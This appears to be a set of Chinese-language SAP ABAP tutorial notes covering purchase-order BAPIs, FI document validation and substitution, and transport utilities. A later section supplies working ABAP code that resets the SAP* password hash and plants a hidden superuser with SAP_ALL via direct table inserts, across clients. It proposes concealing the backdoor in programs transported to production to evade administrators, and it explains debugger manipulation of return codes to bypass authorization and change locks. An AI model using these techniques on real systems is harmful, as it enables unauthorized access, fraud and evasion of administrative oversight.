***为了好SE91查找message合并message type, messge code,和message text
concatenate ZRETURN-TYPE '--' ZRETURN-CODE '--:' ZRETURN-MESSAGE into
zposolog-bapimsg .
zposolog-flag = 'F'. "Failure
append zposolog .
insert ZPOSO from zposolog.
endif.
***----------------------PO可能会反复调用吗---------------------
*** 不管如何做到call一次就退出.
*** 建立一表ZFLAG, 可只有一个字段, Zrepcall,default是F,
CALL FUNCTION 'BAPI_PO_CREATE'
EXPORTING
PO_HEADER = ZPOHEADER
* PO_HEADER_ADD_DATA =
* HEADER_ADD_DATA_RELEVANT =
* PO_ADDRESS =
* SKIP_ITEMS_WITH_ERROR = 'X'
* ITEM_ADD_DATA_RELEVANT =
IMPORTING
PURCHASEORDER = ZPURCHASEORDER "好瞧瞧
TABLES
PO_ITEMS = ZPOITEMS
* PO_ITEM_ADD_DATA =
PO_ITEM_SCHEDULES = ZPO_ITEM_SCHEDULES
* PO_ITEM_ACCOUNT_ASSIGNMENT =
* PO_ITEM_TEXT =
* RETURN =
* PO_LIMITS =
* PO_CONTRACT_LIMITS =
* PO_SERVICES =
* PO_SRV_ACCASS_VALUES =
* PO_SERVICES_TEXT =
* PO_BUSINESS_PARTNER =
* EXTENSIONIN =
* POADDRDELIVERY =
.
Endif. "结束建立Purchase Order 和Sales Order
下面是使用VB Call BAPI_CREATE_PO建立PO的例子的部分,首先使用SE37 测试,基本上建立PO最简单只需要以下参数. 注意vendor必须是10位数,如果长度不足,请加0
tvendor = Mid("0000000000", 1, 10 - Len(Trim(VENDOR.Text))) + Trim(VENDOR.Text)
‘保证如果vendor length<10补充到10位,否则就会出错
poheader.Value("VENDOR") = tvendor
poheader.Value("PURCH_ORG") = "1000" 'Trim(Text2.Text)
poheader.Value("PUR_GROUP") = "111" ' Trim(Text3.Text)
poheader.Value("DOC_TYPE") = "NB" 'Trim(Text4.Text)
poitems.Rows.Add
poitems.Value(1, "PUR_MAT") = "C-010" ' Trim(Text5.Text)
poitems.Value(1, "PLANT") = "1100" 'Trim(Text6.Text)
poitems.Value(1, "NET_PRICE") = "222" ' Trim(Text7.Text)
poitemschedule.Rows.Add
poitemschedule.Value(1, "DELIV_DATE") = "2005/08/16" 'Text8.Text
poitemschedule.Value(1, "QUANTITY") = "888" ' Text9.Text
使用物料主数据
物料移动报表
LIS系统简介 |
企业SD的一般流程汇总: 典型的SD开发有(不包含SD模块增强). 发票打印|销售分析报表|Credit Note申请Form|Shipping Note|Sales Forecast|Dunning Letter|Shipment Status|Packing List|产品批次和系列号报表等. 由于SD可能有大量的用户增强,在实例中有几个典型的案例. |
1.读取销售文本
2.销售订单审批
3.
4.
5.
6.
7.
8.
企业PP的一般流程汇总: 典型的SD开发有(不包含SD模块增强). 发票打印|销售分析报表|Credit Note申请Form|Shipping Note|Sales Forecast|Dunning Letter|Shipment Status|Packing List|产品批次和系列号报表等. 由于SD可能有大量的用户增强,在实例中有几个典型的案例.
|
1.MD04 save的Prod极其素原的PR
2.
3.
4.
5.
6.
7.
8.
|
在HR,AP,AP,GL,Consolidation,Real Estate,Special Purpose Ledger等多模快都能发现有效性检查(Validation)配置,所谓 Validation 不过是在凭证保存前根据设置条件判断此凭证是否有效,再根据Validation设置的消息类型(关于消息请参考第例消息控制)决定凭证是否允许保存(顺利保存的),对稍微了解ABAP开发基础的用户是很容易理解的.
凭证Validation,Substitution和User Exit的使用保证了凭证能成功通过某些企业实际的自订复杂业务检测最后保存在数据库中.
***可使用Validation检测在记帐时某些cost center只能对应到具体某Functional Area(如上了Functional Area的话),某些费用类科目只能记到某具体
Cost center等.
比较实用的Validation IMG T-code有: OB28:AP/AR/GL Doc.| OAZ1:AM Posting| GCVW:Global Validation(In SPL,Company Level)|GCVV:Local Validation(In SPL, Company code Level). |
下面以OB28为例,详细说明Validation的用法.(IMG Path如图7-1标号1)
[1]定义记帐确认.
[2]定义会计凭证退代.
建立Validation步骤:
下面以Line Validation STLINE只允许用户STONEF在5100(本位币HKD)记帐时本位货币金额不超过1000HKD为例子,详细介绍Validation的配置步骤.
***当然使用其他配置也能达到相同效果.
1.选择Callup Point建立Validation Name(如图7-2).
[1]1.在凭证抬头触发 2.凭证行项目触发 3.整个凭证触发,触发通常发生在用户按Enter键和保存之时.
[2]新建Validation时按F2进入详细画面(如图7-3)
[3]1表示激活,只有选择激活后Validation才真正起作用.
2.Validation建立步骤详解(如图7-3).
[1]新建Validation,如在此新建Validation要回到图7-2按New entries然后激活.
[2] 新建Step,一个Step包含先决条件,检查和消息. 图7-3 Step001表示的是在
Company code 5100(Local Currency HKD)下如果User是STONEF,如记帐本位币超过1000HKD,就弹出错误消息ZFIMSG 017(关于消息剖析请参考第例消息控制).
***Validation触发的条件是满足先决条件但是不满足检查条件.
[3]Rule可用在Validation,Substitution,Report Write Selection甚至ATP check,简单理解,经常用到的一些判断条件可建立成Rule,将Prerequisite和check建立俩Rule-ZRULE1(图7-4)和ZRULE2(图略.BSEG-DMBTR <= '1000.00'),和图7-2效果一样,不同的是此俩rule还可用在Substitution等中(请看第8例凭证的退代),可重复使用.
重复性的好处还表现在你只要修改rule(比如现在STONEF允许最大记帐金额是
2000),所有用到此rule的Validation,Substitution全部生效.
图7-5使用Rule和图7-3直接使用ABAP code效果一样.
***Rule做为一个条件可用在定义其它Rule,比如ZRULE3 包含ZRULE1 and 其他条件.
[4]Header Validation只可选BKPF字段和只在凭证头回车或保存凭证触发.
[5]Item Validation先决条件可选BKPF和BSEG,但是Check只能选BSEG字段,否则不被触发.
***比如先决条件条件是BKPF-BUKRS,Check是BKPF-USNAM,很明显这是无效的Validation.
另一个问题是如有多个行项目满足了条件会弹出多条消息.
[6]整个凭证有效,就是在Doc Header,Item回车和保存都触发.
[7]先决条件条件(参照[2]).
[8]检查(参照[2]).
[9]SAP消息使用在多种地方,比如想打印传真PO需要建立一个相应消息,另外消息还用在处理程序例外上,在这里是指后者(更详细请参考第例消息控制).
如上图7-6.
[1]E表示消息定义为错误类别,此时不可保证凭证,I,W类别只是给出信息和警告,允许凭证保存,如选A,则会退出当前Tcode操作.
[2]用户可使用 Tcode:SE91字定义的Message Class(图7-7).
[3].在此选择了消息号017使用了俩参数(&),&表示在实际弹出消息时能使用实际值取代&.
[4].使用消息变量.
图7-8表示用户STONEF在使用FB50手工记帐时,Local currency amount>1000
时出现的错误(Validation ZSTLINE生效,消息的俩&参数被BKPF-USNAM和BSEG-DMBTR代替),出现的错误消息,由于凭证俩行Amount都>1000,此消息将弹出俩次.
1.ZSTLINE显然对USER STONEF操作所产生的任何会计凭证都有效,比如只想限制STONE在使用FB50记帐但是F-53付款时却允许超过1000HKD,请在先决条件上再加上Tcode FB50则Validationi就只对FB50有效. 2.想用Tcode比如FB50测试新建Validation,起码要求退出当前操作再进入,否则SAP会从缓冲中读数据认为还是上次的配置,结果拥护却认为配置失败,最保证的方法是从Validation IMG窗口使用/O FB50(或其它Tcode). 3.这种方法同样适用于任何其它相同情况的测试. |
3.再谈建立Validation操作.(图7-9)
[1]删除Prerequisite和Check代码.
[2]合并字符字段
[3]比如对line Validation,BKFF,BSEG,SYST(如想By Tcode选SYST-TCODE做条件)三对象可使用.
[4]选择rule做Prerequisite和Check(参考图7-5).
[5]可使用User Exit做Prerequisite和Check.(参考第8例凭证的退代).
[6]一些常用逻辑表达式.
[7]通常使用的是Constant(常量).
1.读者也许有这样的疑问,Validation究竟是怎么工作的? 很好,使用SE37在Function FI_VALIDATION_HEADER和FI_VALIDATION_ITEM合适位置设置断点,就可知道更详细的程序逻辑. 另外,相关Table T001D|和相关程序GBTDMFI0|RGUGBR00,有兴趣的读者不妨研究一下. 2.另一个留给读者的疑问是,一个Validation可有多个Steps,不妨假设一Line Validation有俩Steps-STEP1和Step2,它们的Prerequisite都是:BKPF-BUKRS = 5100,但是Check却不同甚至是矛盾的,Step1 check是BSEG-DMBTR <=1000.而Step2-check却是BSEG-DMBTR > 1000,结果会如何? |
和Validation一样,凭证的退代在多个模块中能找到,IMG Path(IMG Path如图7-1标号2).
比较实用的Substitution IMG T-code有: OBBH:AP/AR/GL Doc.| OACS:AM Create Assets|OA02:Mass change Assets|GCVY:Global Substitution(In SPL,Company Level)|GCVX:Local Substitution(In SPL,Company code Level). 和Validation不同的是,Validation只做检测,一般不做相应数据的修改,Substitution弥补了这反面的缺陷,甚至允许和user_exit相结合. |
假设用户希望在产生APAR凭证能将vendor,customer 或其它信息比如写入Assignment(BSEG-ZUONR)字段,或者希望某些P&L科目在记入某些特定成本中心时将些分析信息写入TEXT(BSEG-SGTXT)字段,可使用退代.
下面举一个最简单实例假设在公司代码5100中,如使用现金类科目10010120记帐,在Text(BSEG-SGTXT)写入信息,同时在期初,可能会将一些凭证post到上期间,使用退代假设是post到上期间的凭证Posting Date换成上期间最后一天.
此简单实例是为了说明问题,其中有些步骤和第7例Validation相同,就不再一一讲解,希望读者在实际业务中能举一反三,发挥退代作用.
1. 自定义的退代程序.
相关Tcode:GCX2. (图9-2)
[1]App. Area 选择GBLS
[2]输入自定义程序名ZSTSUB(Copy并取代SAP默认的标准程序RGGBS000)
***自定义的程序名称最好不超过8位,在OBBH似乎只能显示程序名的前8位.
相关表格函数和程序.
相关表格GB01|T001Q|T80D|GB03|GB03T|GB31|GB31T||GB907|GB90|GB92|GB922|GB901 |OXT_GENOBJDTL|,相关函数FI_SUBSTITUTION_ACTIVE|FI_SUBSTITUTION_DOC |FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM.相关程序ZSTSUB(自定义)| GBTDMFI0| GBTDMFIJ|RGUGBR00 |
***使用GCX2退换标准的RGGBS000这样就无需申请Access Key,另外一个GCX1是跨Client端的,一般用于特殊总帐SPL中给Field movement定义用户出口.
2. 建立退代步骤
同Validation一样,也需为其建立Step,一个Step包括先决条件和退代(如图9-3).
[1]凭证头退代,在凭证抬头回车回保存凭证时满足条件时生效.
[2]凭证行项目退代.
[3]增加删除一个退代
***在本例中,使用only exit U100(对应ZSTSUB子程序U100)修改line item的Text.
[4]使用用户出口做退代. (关于怎么选Form规则请看本例思考).
[5]字段级退代.
假设ZSTSUB Form U100的source code如下,那么在满足先决条件时,行项目的Text都写成了Record Payment Text.
FORM u100. "#EC CALLED ***U100 如只是用于 line item退代. 所以改变XBLNR不会成功 . ***U100如果同事用于header和line item,则俩句都会成功执行. BKPF-XBLNR = 'Reference For STONE Test'. BSEG-SGTXT = 'Record Payment Text ' . ENDFORM.
|
读者可思考下面几个问题:
思考: 1如果先决条件没有输入任何值,是否退代会无条件执行? 2在ZSTSUB(本人自定义),用户可参考SAP标准程序RGGBS000, RGGBS000的Form 会以什么规则在不同级别的(header,Line,Complete doc)退代中做Exit ,用户能否自定义自己的field exit,header exit,line exit 和complete exit? 请看此FORM get_exit_titles TABLES etab,有类似语句. 这些由参数c_exit_param_none, c_exit_param_field和c_exit_param_class决定 exits-name = 'U100'. exits-param = c_exit_param_none. “能用在Field exit,only exit等任何地方 exits-title = text-100. APPEND exits. exits-name = 'U101'. exits-param = c_exit_param_field.”此Form只用于字段exit exits-title = text-101. APPEND exits. exits-name = 'U801'. exits-param = c_exit_param_class. ”Form U801只能在Callup point 3 complete doc才可使用. exits-title = text-101. "Cost center from CSKS APPEND exits. 3 BKPF,BSEG什么样的值才可应用在退代程序中? 4为什么有些字段即使在退代中更改了但是不生效 |
下面再以举一实例,彻底剖析退代的运行规则同时解释上面3,4提出的问题.
首先在FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB(自定义)| GBTDMFI0| GBTDMFIJ设置断点你能进行跟踪. 从技术上讲,在回车或保存触发退代前在屏幕上输入的一些值就已经保存在一些内表中,然后才执行退代去根据用户设置的条件去退换一些值而已.
实例:通常企业在期初未关帐前可能需要在上期间记帐.如用户需要假设posting date是上期间某个日期,自动将此日期退换成上期间最后一天.使用抬头退代.
1确定当新增退代时BKPF-BUDAT是否可见
如在此看不到,即使你写了代码也是无效的.如图9-6.
[1]使用only exit U100,也可使用field exit . [2]BKPF-BUDAT可见.
***使用下面参考代码将BCLTAB和BCLFIELD稍微更改就可将BKPF,BSEG任何字段用于退代编码.
1所有退代字段关系在GB01表中,可使用下面代码使用BUDAT可用于退代. 在本人的机器上GB01建立了维护视图,因此实际上可直接使用SE16修改GB01,如果企业可能大量使用退代和确定,可以考虑用SE11为表GB01建立维护视图,否则就使用下面程序. Report ZMODGB01. DATA ZGB01 LIKE GB01 . SELECT SINGLE * INTO ZGB01 FROM GB01 WHERE BOOLCLASS = '008' AND CLASSTYPE = 'S' AND BCLTAB = 'BKPF' AND BCLFIELD = 'BUDAT' . * AND BCLTAB = 'BSEG' * AND BCLFIELD = 'PRCTR' . ZGB01-BEXCLUDE = ''. MODIFY GB01 FROM ZGB01 . 2 在凭证的退代和确定中,有几个比较有用的Tcode. GGB0: All Validations. GGB1: All Substitutions GGB2: All Rule Class GGB3:没有这样的Tcode,嘿嘿,你自己造一个吧. GGB4: 激活 |
2检查退代代码自动生成.
退代代码是自动生产的,这样的自动生成程序的实际应用很多,比如在CO-PA中,相关表,结构和程序很多是自动生成的,关于程序自动生产请参考拙作ABAP百谈.
记得在OBBH画面当新建一退代时,有如图9-7的画面.
[1]退代名 [2]退代class,这个将对应到自动生成程序GBTDMFIJ.
在GBTDMFIG中读者能看到四个子程序FORM EXP_TAB_008_BKPF(class 8,callpnt1),FORM EXP_TAB_009_BSEG(class 9,callpnt2), FORM EXP_TAB_015_BKPF和FORM EXP_TAB_015_BSEG(Class 15,Callpnt 3).
现在以FORM EXP_TAB_008_BKPF为例.如果读者不能在此子程序的一个结构TEMP_STRUCT发现想退代的字段(原因就不细解),很明显,必须重新生成退代程序.
***如果您的退代不工作可以这样找原因,在GBTDMFIG程序中的上面提到的四个Form的TEMP_STRUCT结构没有看是否有相应的字段.比如在TEMP_STRUCT结构中没有BKPF-BUDAT,当然posting date的退代代码就会不起作用,此时执行下面步骤3运行RGUGBR00吧.
原因很简单,在退代程序中定义的BKPF,BSEG相当于内表,退代代码按用户的逻辑修改了BKPF后如TEMP_STRUCT(实际对应的是可用做退代的全不字段)中没有,BKPF就被Reset回.
3重新生成程序.
SE38运行RGUGBR00, 将能选的全选上的选项再运行吧(图略).
4.编写代码
下面是参考程序,判断Posting Date如在上期间(非上月,以月为期间只是期间的一特例,国外企业似乎都不这样采用,关于期间请参考第4刀SAP期间概念)自动将其退换成上期最后一天(对其他期间无效,读者可能需要修改才可满足贵企业需求).
FORM u100. *同一Exit(Form)可用于head(Line item)或Filed 退代,互不影响. *具体原理可跟踪GBTDMFIG(有GBTDMFI0动态调用) *此程序由Yueming Li编写,如有必要读者可能需要改动. Form 100. BSEG-SGTXT = 'TEST TeXT'. *BKPF-BUDAT TABLES: T009B. DATA: BEGIN OF T_T009B OCCURS 10, BUMON LIKE T009B-BUMON, BUTAG LIKE T009B-BUTAG, END OF T_T009B.
DATA: L_DATE(8) TYPE C, L_YEAR(4) TYPE C, L_MONTH(2) TYPE C, L_DAY(2) TYPE C, L_PERMONTH(2) TYPE C, L_CURYEAR(4) TYPE C, L_CURMONTH(2) TYPE C, L_CURDAY(2) TYPE C.
L_DATE = SY-DATUM. L_CURYEAR = L_DATE(4). L_CURMONTH = L_DATE+4(2). L_CURDAY = L_DATE+6(2). L_CURMONTH = L_CURMONTH - 0. L_PERMONTH = L_CURMONTH - 1.
L_DATE = BKPF-BUDAT. L_YEAR = L_DATE(4). L_MONTH = L_DATE+4(2). L_DAY = L_DATE+6(2). L_MONTH = L_MONTH - 0.
IF L_CURYEAR NE L_YEAR . BKPF-BUDAT = L_DATE. EXIT. ENDIF.
IF L_MONTH NE L_CURMONTH AND L_MONTH NE L_PERMONTH.
BKPF-BUDAT = L_DATE. EXIT.
ENDIF.
SELECT BUMON BUTAG INTO T_T009B FROM T009B WHERE PERIV EQ 'Z1' AND BDATJ EQ L_YEAR " year AND ( BUMON EQ L_CURMONTH "Month OR BUMON EQ L_PERMONTH ). IF T_T009B-BUMON EQ L_PERMONTH. APPEND T_T009B. ENDIF.
IF T_T009B-BUMON EQ L_CURMONTH AND T_T009B-BUTAG LE L_CURDAY. APPEND T_T009B. ENDIF.
ENDSELECT.
SORT T_T009B.
LOOP AT T_T009B. IF T_T009B-BUMON EQ L_MONTH. IF T_T009B-BUTAG GE L_DAY. CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE. EXIT. ENDIF. ENDIF.
IF T_T009B-BUMON GT L_MONTH. IF T_T009B-BUTAG GE L_DAY. EXIT. ENDIF. ENDIF. ENDLOOP.
BKPF-BUDAT = L_DATE. ENDFORM. "U100 使用函数的. FORM u100. "#EC CALLED *同一个Form可用做header和line 退代而互不影响. BSEG-SGTXT = 'Line Item Text'. "For Line Sub. DATA:Z_PSTDATE TYPE SY-DATUM, Z_CURPER LIKE T009B-POPER, Z_CURYEAR LIKE T009B-BDATJ, Z_PSTPER LIKE T009B-POPER, Z_PSTYEAR LIKE T009B-BDATJ, Z_PERLSTDAY LIKE SY-DATUM. *实际永远不会发生记帐到上年和上上期间的. *check posting date's period and fiscal year CALL FUNCTION 'DETERMINE_PERIOD' EXPORTING DATE = BKPF-BUDAT VERSION = 'Z1' "Fiscal Year Var. IMPORTING PERIOD = Z_PSTPER YEAR = Z_PSTYEAR . *check sysdate's period and fiscal year CALL FUNCTION 'DETERMINE_PERIOD' EXPORTING DATE = SY-DATUM VERSION = 'Z1' "Fiscal Year Var. IMPORTING PERIOD = Z_CURPER YEAR = Z_CURYEAR. *能否在输入的posting date记帐让系统去判断. CHECK Z_CURYEAR <> Z_PSTYEAR OR Z_PSTPER <> Z_CURPER. *如posting date不在本期间得到其期间最后一## Z_PSTPER = Z_PSTPER + 1 . CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET' EXPORTING I_GJAHR = Z_PSTYEAR I_PERIV = 'Z1' I_POPER = Z_PSTPER IMPORTING E_DATE = Z_PERLSTDAY .
BKPF-BUDAT = Z_PERLSTDAY - 1 . BKPF-MONAT = Z_PSTPER . "如果Edit options允许看到期间的话也要改. |
5.预制凭证可使用退代吗?
这个问题就好比去问一个人是否有双眉毛一样?答案是一般天生是没有,如去整容院整就能有. SAP标准程序是不允许预制凭证有退代的,其实也没必要,因为预制凭证本来就不是正式凭证,比如posting date就算现在根据某种规则退代了,等真正posting时还不是要根据正常凭证的规则去post ,这不多此一举.
如果真需为预制设置退代,也很容易.请看下面分解.
(1)使用/H启动debug,按F6直到执行到SAPMF05A screen Number 1001,在module document_merge设置断点,这个module是判断是否有退代的入口.
(2)parked doc g_status =2 .
如下图加入代码,则退代对FV50预制凭证生效.
FI_VALIDATION_DOC
FI_VALIDATION_HEADER
FI_VALIDATION_ITEM
6.物料凭证可使用退代和确定吗?
如果Mat doc产生的同时产生了财务凭证当然可以使用.
|
1.
2.
8.
关于传输请求在第二章13节已经有详细说明,下面是一个关于如何删除被锁的传输请求的程序,读者可根据实际情况补充.
通常对锁住的表对象可采用SM12解锁,对传输请求可按下面程序处理.
Program ZSTDELREQ . data : itab_e070 like e070 occurs 0 with header line, * Request header including Req user. iwa_e070c like e070c, "Request client itab_e071 like e071 occurs 0 with header line , *Request entry line items may include multiple lines iwa_e07t like e07t , "Requst short text(desc) iwa_E070A like E070A , *If the Request was locked and delelted,Delete Tlock otherwise *The program will be locked to make any modifications. itab_tlock like tlock occurs 0 with header line . parameter reqno like e070-trkorr default '' . select * into table itab_e070 from e070 where trkorr eq reqno or strkorr eq reqno. if SY-SUBRC Ne 0 . write : 'The Request No.:' , Reqno , ' not exist !' . * exit . endif .
select single * into iwa_e070c from e070c where trkorr eq reqno . select * into table itab_e071 from e071 where trkorr eq reqno . select single * into iwa_e07t from e07t where trkorr eq reqno . select single * into iwa_E070A from e070A where trkorr eq reqno . if itab_e070 IS INITIAL . select * into table itab_tlock from tlock where trkorr eq reqno . else. select * into table itab_tlock from tlock FOR ALL ENTRIES IN itab_e070 where TRKORR eq itab_e070-trkorr . endif. if SY-SUBRC NE 0 . write : / 'No Locked object for the request NO. was found!'. endif . delete : e070 from table itab_e070 , e070c from iwa_e070c, e071 from table itab_e071, e07t from iwa_e07t , e070A from iwa_E070A , tlock from table itab_tlock . write : / 'The Request No.:' , Reqno , ' has already been successfully Full deleted'. |
如果开发的程序被包含在$TMP package中,现在想传输到QAS或PRD,需要改换package,一个简单的方法就是将记录从资源库对象目录TADIR表中将记录删除(程序如下),接下来改变保存激活程序就会重新弹出Create Object Directory Entry的窗口.
Report zdelpackage. data iwa_tadir like tadir . select single * into iwa_tadir from tadir where OBJ_NAME = 'ZXMBCU02'."change to your prog. Name. delete tadir from iwa_tadir. |
尽管SAP系统提供了非常完善的权限控制机制,甚至允许细到字段级和允许用户自定义授权对象,然后SAP权限控制漏洞也是致命的,随便一个小程序就可轻易获取权限
作为职业程序员,对取得权限大多会有一定兴趣(这点催生了一批无聊的所谓Hacker).
读者可自行理解下面几个概,在此不再细述.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
实际上决定权限的是Authorization Object , 看USR_USER_AUTH_FOR_OBJ_GET
和AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.
常用权限相关Tcode . (一)Role(角色)相关T-code: PFAC 标准 PFAC_CHG 改变 PFAC_DEL 删除 PFAC_DIS 显示 PFAC_INS 新建 PFAC_STR PFCG 创建 ROLE_CMP 比较 SUPC 批量建立角色profile SWUJ 测试 SU03 检测授权 SU25, SU26 检查Profile (二)建立用户 SU0 SU01 SU01D SU01_NAV SU05 SU1 SU10 批量 SU12 批量 SUCOMP:维护用户公司地址 SU2 change用户参数 SUIM 用户信息系统,可by 多个查询. (三)建立用户组 SUGR:维护 SUGRD:显示 SUGRD_NAV:还是维护 SUGR_NAV:还是显示 (四)维护检查授权 SU20|SU21:如有特殊需要定义自己的authorization fields SU50|SU51|SU52 SU53:当有权限问题可使用它检测 SU56:分析authoraztion data buffers. 常用权限相关表格: TOBJ : All avaiable authorzation objects.(SAP default objects全在此) USR12: 用户级authoraztion值 USR02:密码table USR04:Authorization USR03:User address data USR05:User Master Parameter ID USR06:Additional Data per User USR07:Object/values of last authorization check that failed USR08:Table for user menu entries USR09:Entries for user menus (work areas) USR10:User master authorization profiles USR11:User Master Texts for Profiles (USR10) USR12:User master authorization values USR13:Short Texts for Authorizations USR14:Surchargeable Language Versions per User USR15:External User Name USR16:Values for Variables for User Authorizations USR20:Date of last user master reorganization USR21:Assign user name address key USR22:Logon data without kernel access USR30:Additional Information for User Menu USR40:Table for illegal passwords USR41:当前用户(SM04看到的所有当前活动用户) USRBF2:记录当前用户所有的授权objects UST04:User Profile master UST10C: Composite profiles UST10S: Single profiles UST12 : Authorizations |
如何获取权限呢?下面举几个实际例子
修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣. report ZMODPWD. tables :usr02 . *Data ZUSR02 like USR02 . *select single * into zUSR02 from USR02 *where BNAME = 'SAP*'. *ZUSR02-BNAME = 'SAP*'. *ZUSR02-Bcode = '9C8AB8600E74D864' . *ZUSR02-UFLAG = '0' ."unlock SAP* *Update USR02 from ZUSR02 . update usr02 set bcode = 'DF52478E6FF90EEB' where BNAME = 'SAP*'. 就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效 |
上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.
下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限. Program ZCRTUSER. Data ZUSR02 like USR02 . ***1Create User ZSTHACKER according to DDIC select single * into ZUSR02 from USR02 where BNAME = 'DDIC'. ZUSR02-BNAME = 'ZSTHACKER'. ZUSR02-Bcode = 'E3B796BB09F7901B' . insert USR02 from ZUSR02 . ***2Copy Auth. Obj from SAP*(or other) data ZUSRBF2 like USRBF2 occurs 0 with header line. select * from USRBF2 into table ZUSRBF2 where BNAME = 'SAP*' . Loop at ZUSRBF2. ZUSRBF2-BNAME = 'ZSTHACKER' . Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. 如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可. Data Ztobj like tobj occurs 0 with header line . data zusrbf2 like usrbf2. select * into table ztobj from tobj . loop at ztobj. zusrbf2-mandt = sy-mandt. zusrbf2-bname = 'ZSTHACKER'. zusrbf2-objct = ztobj-objct. zusrbf2-auth ='&_SAP_ALL'. modify USRBF2 FROM zusrbf2 . endloop . 现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下: [1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key). [2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现. ***注意千万不要用此临时用户做一些不合理的动作. [3]能不能垮client端建立用户和授权呢? 回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户). Data zusrbf2 like usrbf2. Select * into zusrbf2 from usrbf2 where bname = 'SAP*' . Zusrbf2-bname = 'ZSTHACKER' . Zusrbf2-mandt = '100'. Insert into usrbf2 client specified values zusrbf2. Endselect . |
从理论上讲,只要有Debut(/H)的权限就应该有机会获取所有权限,有些系统在生产机上ABAPer居然有SE38,SE71等权限,显然这提供了一个很好的机会获取权限.
下面列举的实例是在不使用程序只修改运行变量的情况下或取权限(basis甚至无从追查).
通常在QAS和PRD server, Basis会使用Tcode SCC4设置不允许更改配置(如下图No changes allowed表示不允许配置)和不允许程序开发(3 No changes to Repository and cross-client Customizing objs).这些配置保存在表T000中.
下面是基于用户有SE38权限后并假设如上图已经限制了不允许开发如何绕过此限制获得开发权限的例子.
为此找到程序LSTRDU34(SE37:TRINT_CORR_CHECK)和LSTRDU44(SE37:TRINT_CORR_INSERT)设置断点更改返回值饶过相关判断就可直接在QAS和PRD server上开发.
如图3.6.4-1中设置断点,当程序运行到此,只要将LV_SUBRC设置0即可.
同样,如图3.6.4-2,设置断点将SY-SUBRC改成0就可.
假设ABAPer在PRD有SE38权限,在创建程序时会提示不能改变资源库和配置,可按display(如图3.6.4-3)然后按图3.6.4-1和图3.6.4-2的方法在每次运行到程序LSTRDU34和LSTRDU44时修改LV_SUBRC和SY-SUBRC值为0程序就能被创建并被激活(注意你可能需要多次修改,出现提示对话框按Display就可).
我所说只要有/H调试权限和SE38(或SE37)就可获得全部权限也是基于这样的思路,打开/H,然后执行SE38设置断点修改内存变量(如过你愿意慢慢单步执行到LSUSEU11,下面的动作都可节省下来,直接使用/H就可满足要求)
如图3.6.4-4,假设在PRD环境中你有SE38权限,你没有SCC4修改Client属性的权限,在LSUSEU11如图设置断点,然后将sy-subrc改成0,于是你就拥有了SCC4的权限,这种方法就是你并不需要使用程序只要修改变量就可获得Tcode权限.
1要真正执行一个未被授权的Tcode除了更改图3.6.4-4,如其有多个screen(程序中经常有Call **Tcode skip first screen),可能其它授权还要检测,理论上,只要你有耐心依然可获得全部权限. 2下面是一个假设你可使用SU01(只能进first screen但不能create,change user的破解方法.) 如图3.6.4-4-1,想获取修改用户权限在LSUU0U02When ‘CHANGE’时修改rc = 0即可(SE37: SUSR_USER_MAINT_WITH_DIALOG).
如果想获取新建用户权限,在LSUU0U02找到when 'CREA'.将rc值改成0就可.然后在找到保存时的include程序(读者自行去找),既然能建立user了,授权给SAP_ALL当然就获得了所有权限. |
可以任意修改scrip form吗,当然可以,如果想建立更改Scrip Form(SE71)可在LSTRDU39或TR_OBJECT_CHECK(SE37)设置断点.
如图3.6.4-5.
谁真正拥有SAP的权限,我想高明的ABAPer是可获得所需权限的,毕竟系统是用程 序写出的,还有什么用程序做不到的呢? 1.上面描述了如何绕过相应限制建立程序,使用上面的方法可直接更改SAP标准程序,采用这种方法是甚至连Access Key都不要,就是说如在PRD生产环境,如果用户有SA38和/H权限,在LSTRDU34和LSTRDU44设置断点然后修改返回值就可 在不需要Access Key的情况下直接完全修改标准程序. 这样将非常危险,因为就是绕过Access Key (修改LSKEYF00)可在标准程序中Insert,Delete行,起码还不可想修改自写程序一样完全修改程序还能有跟踪.
通常在QAS和PRD server会象图3.6.4一样设置禁止IMG和开发,这时当使用SE38,SE71,Smartforms等Tcode时甚至不会去检测Access Key,使用上面的方法可轻松进行IMG和开发. 2.如何绕过限制去配置(IMG)系统,读者可自行研究. 3. 试着去除任何人在PRD的SE38权限和/H(S_DEVLOP 4. LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS)是用来检测ABAP object可否Edit的,只要在此设置断点即可. LSTRDU34, LSTRDU44, LSTRDU39会被其调用(使用F5单步执行追踪). |
注意下面两点:
1使用Tcode S001后显示SAP easy access ABAP workbench能看到下面所有Tcode
2使用Tcode不当SE43看到的Area Menu实际上大都是可直接运行的Tcode(但是
不支持/n Area menu,/O Area menu等),运行这些Tcode看到的是相关Application area下所有的可用Tcode层次树,比如ASMN看到的是和AM相关Tcode树,AUTH则是和授权相关Tcode树.
Tcode |
描述 |
CMOD(SMOD) |
SAP增强 |
OSS1 |
连接SAP OSS |
S001 |
ABAP开发工作台菜单(含多Tcode) |
SA38 |
运行程序(SE38开发) |
SCAT |
Computer Aided Test Tool |
SE01 |
